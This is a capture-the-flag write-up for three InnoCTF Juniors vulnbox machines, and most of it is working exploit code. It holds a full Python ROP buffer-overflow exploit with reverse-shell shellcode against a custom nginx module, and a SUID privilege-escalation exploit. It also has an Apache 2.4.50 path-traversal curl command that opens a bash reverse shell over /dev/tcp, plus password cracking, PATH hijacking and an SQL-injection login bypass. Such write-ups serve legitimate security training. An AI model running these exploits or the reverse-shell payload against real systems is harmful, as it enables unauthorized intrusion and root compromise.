# InnoCTF Juniors 21. Vulnbox write-ups ## Vulnbox 1 **Initial foothold:** IDOR Register and login. `http://<IP>/download/55` -> downloads binary executable (nginx) **User Access:** Buffer overflow in the nginx module Reverse nginx and find buffer overflow in the `ngx_http_wafy_process_url_body` function. GET parameters must be 512 in length and end in '\\'. Exploit steps: 1) Bruteforce canary 2) Set rwx to a known chunk of memory by calling the mprotect system call. 3) Write shellcode(reverse shell) to the rwx memory 4) Jump to shellcode exploit: ```python= #!/usr/bin/env python3 import requests, sys from pwn import * if len(sys.argv) != 2: print(f'Usage: {sys.argv[0]} <url>') sys.exit(-1) params = 'A'*510+'\\' url = sys.argv[1] + '/?' + params canary = b'\x00' for i in range(7): for byte1 in range(256): data = b'X'*2048 + b'\x00' + b'A'*7 data += canary + bytes([byte1]) try: r = requests.post(url, data=data) canary += bytes([byte1]) break except: pass canary = u64(canary.ljust(8, b'\x00')) print(hex(canary)) input() top = 0x400000 syscall_plt = 0x40b410 #: syscall@plt pop_rax = 0x000000000040dcce #: pop rax; pop rbx; pop rbp; ret; pop_rdi = 0x00000000004e5aa3 #: pop rdi; ret; pop_rsi = 0x00000000004e5aa1 #: pop rsi; pop r15; ret; pop_rdx = 0x00000000004e5a2b #: pop rdx; ret; pop_rcx = 0x00000000004e5a2d #: pop rcx; ret; pop_r10 = 0x00000000004e5a2a #: pop r10; ret mov_rax_rdx = 0x0000000000410b13 #: mov qword ptr [rax], rdx; pop rbp; ret; ret = 0x0000000000400524 #: ret; buf = b"" buf += b"\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48" buf += b"\x97\x48\xb9\x02\x00\x05\x39\x33\x0d\x65\x20\x51\x48" buf += b"\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x6a\x03\x5e" buf += b"\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x6a\x3b\x58" buf += b"\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00\x53\x48" buf += b"\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05" params = 'A'*510 + '\\' p = b'' p += b'C'*2048 p += b'\x00' + b'A'*7 p += p64(canary) p += b'D'*8 #rbp p += p64(pop_rcx) p += p64(7) # rwx p += p64(pop_rdi) p += p64(10) # mprotect p += p64(pop_rsi) p += p64(top) # addres p += b'JUNKJUNK' p += p64(pop_rdx) p += p64(0x1000) # len p += p64(syscall_plt) for i in range(0, len(buf), 8): p += p64(pop_rax) p += p64(top + i) # addr p += b'JUNKJUNK'*2 p += p64(pop_rdx) p += p64(u64(buf[i:i+8].ljust(8, b'\x90'))) p += p64(mov_rax_rdx) p += b'JUNKJUNK' p += p64(top) #p += b'STOPSTOP' r = requests.post(url, data=p) ``` **Root Access:** SUID file + Buffer Overflow Find SUID binary `/usr/bin/program` Download it and reverse(golang executable). Find correct input to trigger vuln: `11337228` and `453596393` The exploit technique is similar to the initial shell, but without the canary. exploit: ```python= import struct import subprocess import sys p64 = lambda x: struct.pack('<Q', x) #=========================================================== # EXPLOIT GOES HERE #=========================================================== pop_rax = 0x0000000000403c0d #: pop rax ; ret pop_rdi = 0x00000000004100fd #: pop rdi ; dec dword ptr [rax + 0x21] ; ret pop_rsi = 0x0000000000416a8f #: pop rsi ; adc al, 0xf6 ; ret xchg_rax_rdx = 0x00000000004637e7 #: xchg rax, rdx; ret; syscall = 0x0000000000464ce9 #: syscall; ret; shellcode = b'' shellcode += b'\x31\xff\x6a\x71\x58\x48\x89\xfe\x0f\x05' # setreuid(0) shellcode += b'\x6a\x68\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x2f\x73\x50\x48\x89\xe7\x68\x72\x69\x01\x01\x81\x34\x24\x01\x01\x01\x01\x31\xf6\x56\x6a\x08\x5e\x48\x01\xe6\x56\x48\x89\xe6\x31\xd2\x6a\x3b\x58\x0f\x05' # /bin/sh heap = 0x56d000 top = 0x400000 f = open('exploit.txt', 'wb') f.write(b'11337228\n') f.write(b'453596393\n') p = b'' p += b'A'*64 p += p64(pop_rax) p += p64(heap) p += p64(pop_rdi) p += p64(top) p += p64(pop_rsi) p += p64(0x1000) p += p64(pop_rax) p += p64(0x7) p += p64(xchg_rax_rdx) p += p64(pop_rax) p += p64(10) # mprotect p += p64(syscall) p += p64(pop_rax) p += p64(heap) p += p64(pop_rdi) p += p64(0) p += p64(pop_rsi) p += p64(top) p += p64(pop_rax) p += p64(0x1000) p += p64(xchg_rax_rdx) p += p64(pop_rax) p += p64(0) # read p += p64(syscall) p += p64(top) f.write(p + b'\n') f.flush() f.close() f = open('shellcode.txt', 'wb') f.write(shellcode + b'\n') f.flush() f.close() ``` ## Vulnbox 2 **Initial foothold:** RCE apache 2.4.50 Remote Code Execution from apache 2.4.50. Exploit example: ```bash= curl --data "A=|/bin/bash -i >& /dev/tcp/<IP>/8081 0>&1" http://<IP>/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//bin/bash>/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65//bin/bash' -v ``` **User Access**: weak password Find htpasswd file and brute it: ```bash= cat /usr/local/apache2/conf/.htpasswd john --wordlist=passwd_salted.txt .htpasswd ``` **Root access**: SUID file + $PATH Find file via SUID byte (/usr/bin/info) Reverse it (or run from ltrace) and check system command call. Try to export some command to PATH and run programm again. Example: ```bash= ls -la /usr/bin/info ltrace /usr/bin/info mkdir /tmp/test && echo "whoami >> /tmp/pwned" >> /tmp/test/arch chmod 755 /tmp/test/arch export PATH=/tmp/test:$PATH info ``` ## Vulnbox 3 **Initial foothold:** SQL-injection auth bypass in username form. Exploit: ```php= admin' or 1=1 -- - ``` **User Access**: leak password Check issue "App problem" -> find correct password for user denny. Try to connect via ssh and get user flag. **Root access**: keyring not-safety storage ```bash= $ python3: >> import keyring >> keyring.get_keyring() -> .local/share/python_keyring/keyring_pass.cfg ``` Decode base64 password to root from this file and login to root user.